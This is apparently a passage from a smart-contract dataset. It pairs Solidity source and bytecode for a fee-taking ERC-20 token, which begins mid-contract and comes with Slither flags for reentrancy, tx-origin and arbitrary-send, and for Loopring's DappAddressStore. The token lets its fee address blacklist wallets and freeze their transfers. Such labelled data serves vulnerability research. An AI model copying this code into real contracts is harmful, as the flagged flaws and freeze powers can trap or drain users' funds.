function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 30000000000 * 10**9; // 3%
_maxHeldTokens = 30000000000 * 10**9; // 3%
}
function manualswap() external {
require(_msgSender() == _FeeAddress1);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress1);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeAddress1);
require(rate > 0, "Rate can't be zero");
// 100% is the common fee rate
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _FeeAddress1);
require(buy <= 10);
require(sell <= 10);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function setBots(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateFeeAddress1(address newAddress) external {
require(_msgSender() == _FeeAddress1);
_FeeAddress1 = payable(newAddress);
emit FeeAddress1Updated(_FeeAddress1);
}
function updateFeeAddress2(address newAddress) external {
require(_msgSender() == _FeeAddress2);
_FeeAddress2 = payable(newAddress);
emit FeeAddress2Updated(_FeeAddress2);
}
// view functions
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101f25760003560e01c8063509016171161010d578063a9059cbb116100a0578063c9567bf91161006f578063c9567bf9146105a4578063db92dbb6146105b9578063dcb0e0ad146105ce578063dd62ed3e146105ee578063e8078d941461063457600080fd5b8063a9059cbb14610539578063b2131f7d14610559578063b515566a1461056f578063c3c8cd801461058f57600080fd5b8063715018a6116100dc578063715018a6146104b15780638da5cb5b146104c657806394b8d8f2146104e457806395d89b411461050457600080fd5b80635090161714610446578063590f897e146104665780636fc3eaec1461047c57806370a082311461049157600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac5791461039f57806340b9a54b146103d857806345596e2e146103ee57806349bd5a5e1461040e57600080fd5b806327f3a72a1461032d578063313ce5671461034257806331c2d8471461036957806332d873d81461038957600080fd5b80630b78f9c0116101c15780630b78f9c0146102bb57806318160ddd146102db5780631940d020146102f757806323b872dd1461030d57600080fd5b80630492f055146101fe57806306fdde03146102275780630802d2f614610269578063095ea7b31461028b57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600e5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b5061025c60405180604001604052806009815260200168145d5b549bd8dad95d60ba1b81525081565b60405161021e9190611bc6565b34801561027557600080fd5b50610289610284366004611c40565b610649565b005b34801561029757600080fd5b506102ab6102a6366004611c5d565b6106be565b604051901515815260200161021e565b3480156102c757600080fd5b506102896102d6366004611c89565b6106d4565b3480156102e757600080fd5b50683635c9adc5dea00000610214565b34801561030357600080fd5b50610214600f5481565b34801561031957600080fd5b506102ab610328366004611cab565b610757565b34801561033957600080fd5b5061021461083f565b34801561034e57600080fd5b50610357600981565b60405160ff909116815260200161021e565b34801561037557600080fd5b50610289610384366004611d02565b61084f565b34801561039557600080fd5b5061021460105481565b3480156103ab57600080fd5b506102ab6103ba366004611c40565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156103e457600080fd5b50610214600b5481565b3480156103fa57600080fd5b50610289610409366004611dc7565b6108db565b34801561041a57600080fd5b50600a5461042e906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561045257600080fd5b50610289610461366004611c40565b61099f565b34801561047257600080fd5b50610214600c5481565b34801561048857600080fd5b50610289610a0d565b34801561049d57600080fd5b506102146104ac366004611c40565b610a3a565b3480156104bd57600080fd5b50610289610a55565b3480156104d257600080fd5b506000546001600160a01b031661042e565b3480156104f057600080fd5b506011546102ab9062010000900460ff1681565b34801561051057600080fd5b5061025c604051806040016040528060098152602001681455535493d0d2d15560ba1b81525081565b34801561054557600080fd5b506102ab610554366004611c5d565b610ac9565b34801561056557600080fd5b50610214600d5481565b34801561057b57600080fd5b5061028961058a366004611d02565b610ad6565b34801561059b57600080fd5b50610289610be5565b3480156105b057600080fd5b50610289610c1b565b3480156105c557600080fd5b50610214610cb7565b3480156105da57600080fd5b506102896105e9366004611dee565b610ccf565b3480156105fa57600080fd5b50610214610609366004611e0b565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561064057600080fd5b50610289610d4c565b6008546001600160a01b0316336001600160a01b03161461066957600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b60006106cb338484611093565b50600192915050565b6008546001600160a01b0316336001600160a01b0316146106f457600080fd5b600a82111561070257600080fd5b600a81111561071057600080fd5b600b829055600c81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60115460009060ff16801561078557506001600160a01b03831660009081526004602052604090205460ff16155b801561079e5750600a546001600160a01b038581169116145b156107ed576001600160a01b03831632146107ed5760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b6107f88484846111b7565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610827908490611e5a565b9050610834853383611093565b506001949350505050565b600061084a30610a3a565b905090565b6008546001600160a01b0316336001600160a01b03161461086f57600080fd5b60005b81518110156108d75760006006600084848151811061089357610893611e71565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108cf81611e87565b915050610872565b5050565b6000546001600160a01b031633146109055760405162461bcd60e51b81526004016107e490611ea0565b6008546001600160a01b0316336001600160a01b03161461092557600080fd5b6000811161096a5760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b60448201526064016107e4565b600d8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020016106b3565b6009546001600160a01b0316336001600160a01b0316146109bf57600080fd5b600980546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a53014906020016106b3565b6008546001600160a01b0316336001600160a01b031614610a2d57600080fd5b47610a3781611825565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610a7f5760405162461bcd60e51b81526004016107e490611ea0565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006106cb3384846111b7565b6008546001600160a01b0316336001600160a01b031614610af657600080fd5b60005b81518110156108d757600a5482516001600160a01b0390911690839083908110610b2557610b25611e71565b60200260200101516001600160a01b031614158015610b76575060075482516001600160a01b0390911690839083908110610b6257610b62611e71565b60200260200101516001600160a01b031614155b15610bd357600160066000848481518110610b9357610b93611e71565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610bdd81611e87565b915050610af9565b6008546001600160a01b0316336001600160a01b031614610c0557600080fd5b6000610c1030610a3a565b9050610a37816118aa565b6000546001600160a01b03163314610c455760405162461bcd60e51b81526004016107e490611ea0565b60115460ff1615610c925760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107e4565b6011805460ff19166001179055426010556801a055690d9db80000600e819055600f55565b600a5460009061084a906001600160a01b0316610a3a565b6000546001600160a01b03163314610cf95760405162461bcd60e51b81526004016107e490611ea0565b6011805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb906020016106b3565b6000546001600160a01b03163314610d765760405162461bcd60e51b81526004016107e490611ea0565b60115460ff1615610dc35760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107e4565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610e003082683635c9adc5dea00000611093565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e3e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e629190611ed5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610eaf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ed39190611ed5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f449190611ed5565b600a80546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610f7481610a3a565b600080610f896000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ff1573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110169190611ef2565b5050600a5460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561106f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d79190611f20565b6001600160a01b0383166110f55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107e4565b6001600160a01b0382166111565760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107e4565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661121b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107e4565b6001600160a01b03821661127d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107e4565b600081116112df5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107e4565b6001600160a01b03831660009081526006602052604090205460ff16156113545760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e736665722066726f6d2066726f7a656e2077616c6c60448201526232ba1760e91b60648201526084016107e4565b600080546001600160a01b0385811691161480159061138157506000546001600160a01b03848116911614155b156117c657600a546001600160a01b0385811691161480156113b157506007546001600160a01b03848116911614155b80156113d657506001600160a01b03831660009081526004602052604090205460ff16155b156116625760115460ff1661142d5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016107e4565b601054420361146c5760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b60448201526064016107e4565b42601054610e1061147d9190611f3d565b11156114f757600f5461148f84610a3a565b6114999084611f3d565b11156114f75760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b60648201526084016107e4565b6001600160a01b03831660009081526005602052604090206001015460ff1661155f576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b42601054607861156f9190611f3d565b111561164357600e548211156115c75760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e000000000060448201526064016107e4565b6115d242600f611f3d565b6001600160a01b038416600090815260056020526040902054106116435760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b60648201526084016107e4565b506001600160a01b038216600090815260056020526040902042905560015b601154610100900460ff1615801561167c575060115460ff165b80156116965750600a546001600160a01b03858116911614155b156117c6576116a642600f611f3d565b6001600160a01b038516600090815260056020526040902054106117185760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b60648201526084016107e4565b600061172330610a3a565b905080156117af5760115462010000900460ff16156117a657600d54600a5460649190611758906001600160a01b0316610a3a565b6117629190611f55565b61176c9190611f74565b8111156117a657600d54600a546064919061178f906001600160a01b0316610a3a565b6117999190611f55565b6117a39190611f74565b90505b6117af816118aa565b4780156117bf576117bf47611825565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061180857506001600160a01b03841660009081526004602052604090205460ff165b15611811575060005b61181e8585858486611a1e565b5050505050565b6008546001600160a01b03166108fc61183f600284611f74565b6040518115909202916000818181858888f19350505050158015611867573d6000803e3d6000fd5b506009546001600160a01b03166108fc611882600284611f74565b6040518115909202916000818181858888f193505050501580156108d7573d6000803e3d6000fd5b6011805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106118ee576118ee611e71565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611947573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061196b9190611ed5565b8160018151811061197e5761197e611e71565b6001600160a01b0392831660209182029290920101526007546119a49130911684611093565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac947906119dd908590600090869030904290600401611f96565b600060405180830381600087803b1580156119f757600080fd5b505af1158015611a0b573d6000803e3d6000fd5b50506011805461ff001916905550505050565b6000611a2a8383611a40565b9050611a3886868684611a87565b505050505050565b6000808315611a80578215611a585750600b54611a80565b50600c54601054611a6b90610384611f3d565b421015611a8057611a7d600582611f3d565b90505b9392505050565b600080611a948484611b64565b6001600160a01b0388166000908152600260205260409020549193509150611abd908590611e5a565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611aed908390611f3d565b6001600160a01b038616600090815260026020526040902055611b0f81611b98565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b5491815260200190565b60405180910390a3505050505050565b600080806064611b748587611f55565b611b7e9190611f74565b90506000611b8c8287611e5a565b96919550909350505050565b30600090815260026020526040902054611bb3908290611f3d565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611bf357858101830151858201604001528201611bd7565b81811115611c05576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a3757600080fd5b8035611c3b81611c1b565b919050565b600060208284031215611c5257600080fd5b8135611a8081611c1b565b60008060408385031215611c7057600080fd5b8235611c7b81611c1b565b946020939093013593505050565b60008060408385031215611c9c57600080fd5b50508035926020909101359150565b600080600060608486031215611cc057600080fd5b8335611ccb81611c1b565b92506020840135611cdb81611c1b565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611d1557600080fd5b823567ffffffffffffffff80821115611d2d57600080fd5b818501915085601f830112611d4157600080fd5b813581811115611d5357611d53611cec565b8060051b604051601f19603f83011681018181108582111715611d7857611d78611cec565b604052918252848201925083810185019188831115611d9657600080fd5b938501935b82851015611dbb57611dac85611c30565b84529385019392850192611d9b565b98975050505050505050565b600060208284031215611dd957600080fd5b5035919050565b8015158114610a3757600080fd5b600060208284031215611e0057600080fd5b8135611a8081611de0565b60008060408385031215611e1e57600080fd5b8235611e2981611c1b565b91506020830135611e3981611c1b565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611e6c57611e6c611e44565b500390565b634e487b7160e01b600052603260045260246000fd5b600060018201611e9957611e99611e44565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611ee757600080fd5b8151611a8081611c1b565b600080600060608486031215611f0757600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611f3257600080fd5b8151611a8081611de0565b60008219821115611f5057611f50611e44565b500190565b6000816000190483118215151615611f6f57611f6f611e44565b500290565b600082611f9157634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611fe65784516001600160a01b031683529383019391830191600101611fc1565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220ea928ff330c3b56c1c055e3e2d967197d645fcb55ae9d897af5c5718c8822ce964736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,954 |
0x8d769226cc08ad5dfd9e37d109dd5bfb3224df2f
|
// SPDX-License-Identifier: Apache-2.0
// Copyright 2017 Loopring Technology Limited.
pragma solidity ^0.7.0;
/// @title Ownable
/// @author Brecht Devos - <brecht@loopring.org>
/// @dev The Ownable contract has an owner address, and provides basic
/// authorization control functions, this simplifies the implementation of
/// "user permissions".
contract Ownable
{
address public owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/// @dev The Ownable constructor sets the original `owner` of the contract
/// to the sender.
constructor()
{
owner = msg.sender;
}
/// @dev Throws if called by any account other than the owner.
modifier onlyOwner()
{
require(msg.sender == owner, "UNAUTHORIZED");
_;
}
/// @dev Allows the current owner to transfer control of the contract to a
/// new owner.
/// @param newOwner The address to transfer ownership to.
function transferOwnership(
address newOwner
)
public
virtual
onlyOwner
{
require(newOwner != address(0), "ZERO_ADDRESS");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership()
public
onlyOwner
{
emit OwnershipTransferred(owner, address(0));
owner = address(0);
}
}
// Copyright 2017 Loopring Technology Limited.
/// @title AddressSet
/// @author Daniel Wang - <daniel@loopring.org>
contract AddressSet
{
struct Set
{
address[] addresses;
mapping (address => uint) positions;
uint count;
}
mapping (bytes32 => Set) private sets;
function addAddressToSet(
bytes32 key,
address addr,
bool maintainList
) internal
{
Set storage set = sets[key];
require(set.positions[addr] == 0, "ALREADY_IN_SET");
if (maintainList) {
require(set.addresses.length == set.count, "PREVIOUSLY_NOT_MAINTAILED");
set.addresses.push(addr);
} else {
require(set.addresses.length == 0, "MUST_MAINTAIN");
}
set.count += 1;
set.positions[addr] = set.count;
}
function removeAddressFromSet(
bytes32 key,
address addr
)
internal
{
Set storage set = sets[key];
uint pos = set.positions[addr];
require(pos != 0, "NOT_IN_SET");
delete set.positions[addr];
set.count -= 1;
if (set.addresses.length > 0) {
address lastAddr = set.addresses[set.count];
if (lastAddr != addr) {
set.addresses[pos - 1] = lastAddr;
set.positions[lastAddr] = pos;
}
set.addresses.pop();
}
}
function removeSet(bytes32 key)
internal
{
delete sets[key];
}
function isAddressInSet(
bytes32 key,
address addr
)
internal
view
returns (bool)
{
return sets[key].positions[addr] != 0;
}
function numAddressesInSet(bytes32 key)
internal
view
returns (uint)
{
Set storage set = sets[key];
return set.count;
}
function addressesInSet(bytes32 key)
internal
view
returns (address[] memory)
{
Set storage set = sets[key];
require(set.count == set.addresses.length, "NOT_MAINTAINED");
return sets[key].addresses;
}
}
// Copyright 2017 Loopring Technology Limited.
// Copyright 2017 Loopring Technology Limited.
// Copyright 2017 Loopring Technology Limited.
/// @title Wallet
/// @dev Base contract for smart wallets.
/// Sub-contracts must NOT use non-default constructor to initialize
/// wallet states, instead, `init` shall be used. This is to enable
/// proxies to be deployed in front of the real wallet contract for
/// saving gas.
///
/// @author Daniel Wang - <daniel@loopring.org>
///
/// The design of this contract is inspired by Argent's contract codebase:
/// https://github.com/argentlabs/argent-contracts
interface Wallet
{
function version() external pure returns (string memory);
function owner() external view returns (address);
/// @dev Set a new owner.
function setOwner(address newOwner) external;
/// @dev Adds a new module. The `init` method of the module
/// will be called with `address(this)` as the parameter.
/// This method must throw if the module has already been added.
/// @param _module The module's address.
function addModule(address _module) external;
/// @dev Removes an existing module. This method must throw if the module
/// has NOT been added or the module is the wallet's only module.
/// @param _module The module's address.
function removeModule(address _module) external;
/// @dev Checks if a module has been added to this wallet.
/// @param _module The module to check.
/// @return True if the module exists; False otherwise.
function hasModule(address _module) external view returns (bool);
/// @dev Binds a method from the given module to this
/// wallet so the method can be invoked using this wallet's default
/// function.
/// Note that this method must throw when the given module has
/// not been added to this wallet.
/// @param _method The method's 4-byte selector.
/// @param _module The module's address. Use address(0) to unbind the method.
function bindMethod(bytes4 _method, address _module) external;
/// @dev Returns the module the given method has been bound to.
/// @param _method The method's 4-byte selector.
/// @return _module The address of the bound module. If no binding exists,
/// returns address(0) instead.
function boundMethodModule(bytes4 _method) external view returns (address _module);
/// @dev Performs generic transactions. Any module that has been added to this
/// wallet can use this method to transact on any third-party contract with
/// msg.sender as this wallet itself.
///
/// This method will emit `Transacted` event if it doesn't throw.
///
/// Note: this method must ONLY allow invocations from a module that has
/// been added to this wallet. The wallet owner shall NOT be permitted
/// to call this method directly.
///
/// @param mode The transaction mode, 1 for CALL, 2 for DELEGATECALL.
/// @param to The desitination address.
/// @param value The amount of Ether to transfer.
/// @param data The data to send over using `to.call{value: value}(data)`
/// @return returnData The transaction's return value.
function transact(
uint8 mode,
address to,
uint value,
bytes calldata data
)
external
returns (bytes memory returnData);
}
/// @title DataStore
/// @dev Modules share states by accessing the same storage instance.
/// Using ModuleStorage will achieve better module decoupling.
///
/// @author Daniel Wang - <daniel@loopring.org>
///
/// The design of this contract is inspired by Argent's contract codebase:
/// https://github.com/argentlabs/argent-contracts
abstract contract DataStore
{
modifier onlyWalletModule(address wallet)
{
require(Wallet(wallet).hasModule(msg.sender), "UNAUTHORIZED");
_;
}
}
// Copyright 2017 Loopring Technology Limited.
// Copyright 2017 Loopring Technology Limited.
/// @title Claimable
/// @author Brecht Devos - <brecht@loopring.org>
/// @dev Extension for the Ownable contract, where the ownership needs
/// to be claimed. This allows the new owner to accept the transfer.
contract Claimable is Ownable
{
address public pendingOwner;
/// @dev Modifier throws if called by any account other than the pendingOwner.
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner, "UNAUTHORIZED");
_;
}
/// @dev Allows the current owner to set the pendingOwner address.
/// @param newOwner The address to transfer ownership to.
function transferOwnership(
address newOwner
)
public
override
onlyOwner
{
require(newOwner != address(0) && newOwner != owner, "INVALID_ADDRESS");
pendingOwner = newOwner;
}
/// @dev Allows the pendingOwner address to finalize the transfer.
function claimOwnership()
public
onlyPendingOwner
{
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract OwnerManagable is Claimable, AddressSet
{
bytes32 internal constant MANAGER = keccak256("__MANAGED__");
event ManagerAdded (address manager);
event ManagerRemoved(address manager);
modifier onlyManager
{
require(isManager(msg.sender), "NOT_MANAGER");
_;
}
modifier onlyOwnerOrManager
{
require(msg.sender == owner || isManager(msg.sender), "NOT_OWNER_OR_MANAGER");
_;
}
constructor() Claimable() {}
/// @dev Gets the managers.
/// @return The list of managers.
function managers()
public
view
returns (address[] memory)
{
return addressesInSet(MANAGER);
}
/// @dev Gets the number of managers.
/// @return The numer of managers.
function numManagers()
public
view
returns (uint)
{
return numAddressesInSet(MANAGER);
}
/// @dev Checks if an address is a manger.
/// @param addr The address to check.
/// @return True if the address is a manager, False otherwise.
function isManager(address addr)
public
view
returns (bool)
{
return isAddressInSet(MANAGER, addr);
}
/// @dev Adds a new manager.
/// @param manager The new address to add.
function addManager(address manager)
public
onlyOwner
{
addManagerInternal(manager);
}
/// @dev Removes a manager.
/// @param manager The manager to remove.
function removeManager(address manager)
public
onlyOwner
{
removeAddressFromSet(MANAGER, manager);
emit ManagerRemoved(manager);
}
function addManagerInternal(address manager)
internal
{
addAddressToSet(MANAGER, manager, true);
emit ManagerAdded(manager);
}
}
/// @title DappAddressStore
/// @dev This store maintains global whitelist dapps.
contract DappAddressStore is DataStore, OwnerManagable
{
bytes32 internal constant DAPPS = keccak256("__DAPPS__");
event Whitelisted(
address addr,
bool whitelisted
);
constructor() DataStore() {}
function addDapp(address addr)
public
onlyManager
{
addAddressToSet(DAPPS, addr, true);
emit Whitelisted(addr, true);
}
function removeDapp(address addr)
public
onlyManager
{
removeAddressFromSet(DAPPS, addr);
emit Whitelisted(addr, false);
}
function dapps()
public
view
returns (
address[] memory addresses
)
{
return addressesInSet(DAPPS);
}
function isDapp(
address addr
)
public
view
returns (bool)
{
return isAddressInSet(DAPPS, addr);
}
function numDapps()
public
view
returns (uint)
{
return numAddressesInSet(DAPPS);
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80638da5cb5b11610097578063e68777d711610066578063e68777d71461026a578063f2fde38b14610284578063f3ae2415146102aa578063ff2120ef146102d0576100f5565b80638da5cb5b146101de578063ac18de4314610202578063e30c397814610228578063e52c355814610230576100f5565b8063627c55f6116100d3578063627c55f61461015057806365a6e9db14610176578063715018a6146101ce57806372311705146101d6576100f5565b806327b7ca5f146100fa5780632d06177a146101225780634e71e0c814610148575b600080fd5b6101206004803603602081101561011057600080fd5b50356001600160a01b03166102d8565b005b6101206004803603602081101561013857600080fd5b50356001600160a01b0316610381565b6101206103db565b6101206004803603602081101561016657600080fd5b50356001600160a01b031661048d565b61017e610534565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156101ba5781810151838201526020016101a2565b505050509050019250505060405180910390f35b610120610552565b61017e6105ea565b6101e6610603565b604080516001600160a01b039092168252519081900360200190f35b6101206004803603602081101561021857600080fd5b50356001600160a01b0316610612565b6101e66106b7565b6102566004803603602081101561024657600080fd5b50356001600160a01b03166106c6565b604080519115158252519081900360200190f35b6102726106e6565b60408051918252519081900360200190f35b6101206004803603602081101561029a57600080fd5b50356001600160a01b03166106ff565b610256600480360360208110156102c057600080fd5b50356001600160a01b03166107d8565b6102726107f2565b6102e1336107d8565b610320576040805162461bcd60e51b815260206004820152600b60248201526a2727aa2fa6a0a720a3a2a960a91b604482015290519081900360640190fd5b61033a600080516020610c3083398151915282600161080b565b604080516001600160a01b03831681526001602082015281517fa54714518c5d275fdcd3d2a461e4858e4e8cb04fb93cd0bca9d6d34115f26440929181900390910190a150565b6000546001600160a01b031633146103cf576040805162461bcd60e51b815260206004820152600c60248201526b15539055551213d49256915160a21b604482015290519081900360640190fd5b6103d88161097b565b50565b6001546001600160a01b03163314610429576040805162461bcd60e51b815260206004820152600c60248201526b15539055551213d49256915160a21b604482015290519081900360640190fd5b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b610496336107d8565b6104d5576040805162461bcd60e51b815260206004820152600b60248201526a2727aa2fa6a0a720a3a2a960a91b604482015290519081900360640190fd5b6104ed600080516020610c30833981519152826109d4565b604080516001600160a01b03831681526000602082015281517fa54714518c5d275fdcd3d2a461e4858e4e8cb04fb93cd0bca9d6d34115f26440929181900390910190a150565b606061054d600080516020610c30833981519152610b23565b905090565b6000546001600160a01b031633146105a0576040805162461bcd60e51b815260206004820152600c60248201526b15539055551213d49256915160a21b604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b606061054d600080516020610c50833981519152610b23565b6000546001600160a01b031681565b6000546001600160a01b03163314610660576040805162461bcd60e51b815260206004820152600c60248201526b15539055551213d49256915160a21b604482015290519081900360640190fd5b610678600080516020610c50833981519152826109d4565b604080516001600160a01b038316815290517fef69f7d97228658c92417be1b16b19058315de71fecb435d07b7d23728b6bd319181900360200190a150565b6001546001600160a01b031681565b60006106e0600080516020610c3083398151915283610beb565b92915050565b600061054d600080516020610c50833981519152610c19565b6000546001600160a01b0316331461074d576040805162461bcd60e51b815260206004820152600c60248201526b15539055551213d49256915160a21b604482015290519081900360640190fd5b6001600160a01b0381161580159061077357506000546001600160a01b03828116911614155b6107b6576040805162461bcd60e51b815260206004820152600f60248201526e494e56414c49445f4144445245535360881b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60006106e0600080516020610c5083398151915283610beb565b600061054d600080516020610c30833981519152610c19565b60008381526002602090815260408083206001600160a01b0386168452600181019092529091205415610876576040805162461bcd60e51b815260206004820152600e60248201526d1053149150511657d25397d4d15560921b604482015290519081900360640190fd5b81156109055760028101548154146108d5576040805162461bcd60e51b815260206004820152601960248201527f50524556494f55534c595f4e4f545f4d41494e5441494c454400000000000000604482015290519081900360640190fd5b80546001810182556000828152602090200180546001600160a01b0319166001600160a01b038516179055610949565b805415610949576040805162461bcd60e51b815260206004820152600d60248201526c26aaa9aa2fa6a0a4a72a20a4a760991b604482015290519081900360640190fd5b6002810180546001908101918290556